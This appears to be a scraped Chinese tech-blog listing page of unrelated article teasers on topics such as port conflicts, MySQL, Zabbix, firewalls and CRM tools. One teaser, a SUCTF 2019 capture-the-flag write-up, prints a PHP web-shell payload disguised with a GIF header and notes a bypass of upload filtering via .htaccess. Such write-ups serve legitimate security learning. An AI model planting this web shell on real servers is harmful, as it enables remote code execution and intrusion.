基于卡尔曼滤波的平面轨迹优化
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解决Windows系统本地端口被占用
目录
一、被程序占用端口
1.通过终端杀掉占用端口的进程
2.任务管理器
二、被系统列为保留端口 前言： 首先了解为什么会出现端口被占用的情况 端口被占用的情况可能出现的原因有很多，主要有以下几点： 1.多个应用程序同时启动&…
架构篇25：高可用存储架构-双机架构
文章目录 主备复制主从复制双机切换主主复制小结存储高可用方案的本质都是通过将数据复制到多个存储设备，通过数据冗余的方式来实现高可用，其复杂性主要体现在如何应对复制延迟和中断导致的数据不一致问题。因此，对任何一个高可用存储方案，我们需要从以下几个方面去进行思考…
Database history tablesupgraded
zabbix升级到6之后，配置安装完成会有一个红色输出，但是不影响zabbix使用，出于强迫症，找到了该问题的解决方法。 Database history tables upgraded: No. Support for the old numeric type is deprecated. Please upgrade to nume…
![[SUCTF 2019]CheckIn1](https://img-blog.csdnimg.cn/direct/f4371f85f6634ffbb54319b7b8115087.png)
[SUCTF 2019]CheckIn1
黑名单过滤后缀’ph，并且白名单image类型要有对应文件头
对<?过滤，改用GIF89a<script languagephp>eval($_POST[cmd]);</script>，成功把getshell.gif上传上去了
尝试用.htaccess将上传的gif当作php解析，但是失败…
idea中使用带provide修饰的依赖，导致ClassNotFound
1、provide修饰的依赖作用： 编译时起作用，而运行及打包时不起作用。程序打包到Linux上运行时，若Linux上也有这些依赖，为了在Linux上运行时避免依赖冲突，可以使用provide修饰，使依赖不打包进入jar中
2、可能…
《WebKit 技术内幕》学习之十四（1）：调式机制
第14章 调试机制 支持调试HTML、CSS和JavaScript代码是浏览器或者渲染引擎需要提供的一项非常重要的功能，这里包括两种调试类型：其一是功能，其二是性能。功能调试能够帮助HTML开发者使用单步调试等技术来查找代码中的问题，性能调…
2. MySQL 数据库
重点：
MySQL 的 三种安装方式：包安装，二进制安装，源码编译安装。
MySQL 的 基本使用
MySQL 多实例
DDLcreate alter drop
DML insert update delete
DQL select
2.5）通用 二进制格式安装 MySQL
2.5.1ÿ…
如何进行H.265视频播放器EasyPlayer.js的中性化设置？
H5无插件流媒体播放器EasyPlayer属于一款高效、精炼、稳定且免费的流媒体播放器，可支持多种流媒体协议播放，可支持H.264与H.265编码格式，性能稳定、播放流畅，能支持WebSocket-FLV、HTTP-FLV，HLS（m3u8&#…
eNSP 实验 两台AR配置同网段
实验1：eNSP 两台AR配置同网段
目的：创建两台AR，配置IP互相ping通
拓扑结构： 首先创建一个AR3260 然后创建一个AR2220 然后同轴电缆连接一下 先配置AR2220。
1、切管理员：system-view 进入千兆位以太网 0/0/0 interf…
基于静态顺序表实现通讯录
目录
一、设计框架
1、功能要求
2、菜单函数的实现
二、头文件实现
Contact.h
SeqList.h
三、Test.h
四、通讯录的初始化和销毁
五、增加通讯录
六、在通讯录中查找姓名下标
七、删除通讯录
八、显示通讯录
九、查找通讯录 一、设计框架 test.c：通…
freeswitch智能外呼系统搭建流程
1.获取实时音频数据 media_bug （好多mrcp方式也崩溃所以用以下方式）
可以参考 方式可以通过socket或者webscoket
freeswitch[1.05]用websocket发送mediabug语音流到ASRProxy实现实时质检和坐席辅助 - 知乎
2.webscoket 好多c的库放模块容易崩溃 可以…
面试题-【消息队列】
消息队列 问题1 如何进行消息队列的技术选型优点解耦 （pub/sub模型）异步（异步接口性能优化）削峰 使用消息队列的缺点几种消息队列的特性 问题2 引入消息队列之后该如何保证其高可用性RabbitMQ的高可用kafka高可用 问题3 在消息队列…
申万宏源基于 StarRocks 构建实时数仓
作者 ：申万宏源证券 实时数仓项目组 小编导读： 申万宏源证券有限公司是由新中国第一家股份制证券公司——申银万国证券股份有限公司与国内资本市场第一家上市证券公司——宏源证券股份有限公司，于 2015 年 1 月 16 日合并组建而成，…
有什么好用的CRM软件？2024年CRM软件排行榜最新盘点！
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深度对比国内外十大CRM客户管理系统软件：简道云、纷享销客、Salesforce、ZOHO、Hubspot、金蝶、用友、浪潮、红圈、Oracle。
CRM客户关系管理系统软件是企业数字化转型的重要工具&#x…
第139期 做大还是做小-Oracle名称哪些事（20240125）
数据库管理139期 2024-01-25 第139期 做大还是做小-Oracle名称哪些事（20240125）1 问题2 排查3 扩展总结 第139期 做大还是做小-Oracle名称哪些事（20240125） 作者：胖头鱼的鱼缸（尹海文） Oracle A…
linux centos 查看端口是否打开与打开端口
查看端口是否打开
talnet
talnet ip 端口linux查看防火墙开放情况
firewall-cmd --list-all打开端口
其中permanent表示永久生效，public表示作用域，443/tcp表示端口和类型，执行规则的重载
firewall-cmd --zonepublic --add-port443/tcp …
MATLAB数据处理: 每种样本类型随机抽样
tn5;% 每种类型随机抽样数 indextrain[];% 训练样本序号集 for i1:typenumber index301 find(typemat i); n2length(index301); index302randperm(n2); index401index301(index302(1:tn)); indextrain[indextrain; index401]; end 该代码可以对大样…
navicat连接postgresql、人大金仓等数据库报错
navicat连接postgresql、人大金仓数据库报错问题是一个偶现的问题，需要我们特别关注：
1、客户端连接人大金仓数据库 这里注意：navicat连接postgresql、人大金仓数据库时均选择postgresql类型，因为人大金仓数据库底层和psql数据库…
Scrum敏捷研发管理全流程/scrum管理工具
Leangoo领歌是一款永久免费的专业的敏捷开发管理工具，提供端到端敏捷研发管理解决方案，涵盖敏捷需求管理、任务协同、进展跟踪、统计度量等。 Leangoo领歌上手快、实施成本低，可帮助企业快速落地敏捷，提质增效、缩短周期、加速创新…
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